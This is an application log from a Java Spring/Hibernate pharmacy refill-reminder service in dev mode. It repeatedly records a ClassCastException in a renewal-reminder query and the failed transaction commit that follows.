2024-02-25 15:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 15:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 15:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 15:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 15:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 15:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 15:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 15:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 15:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 15:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 15:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 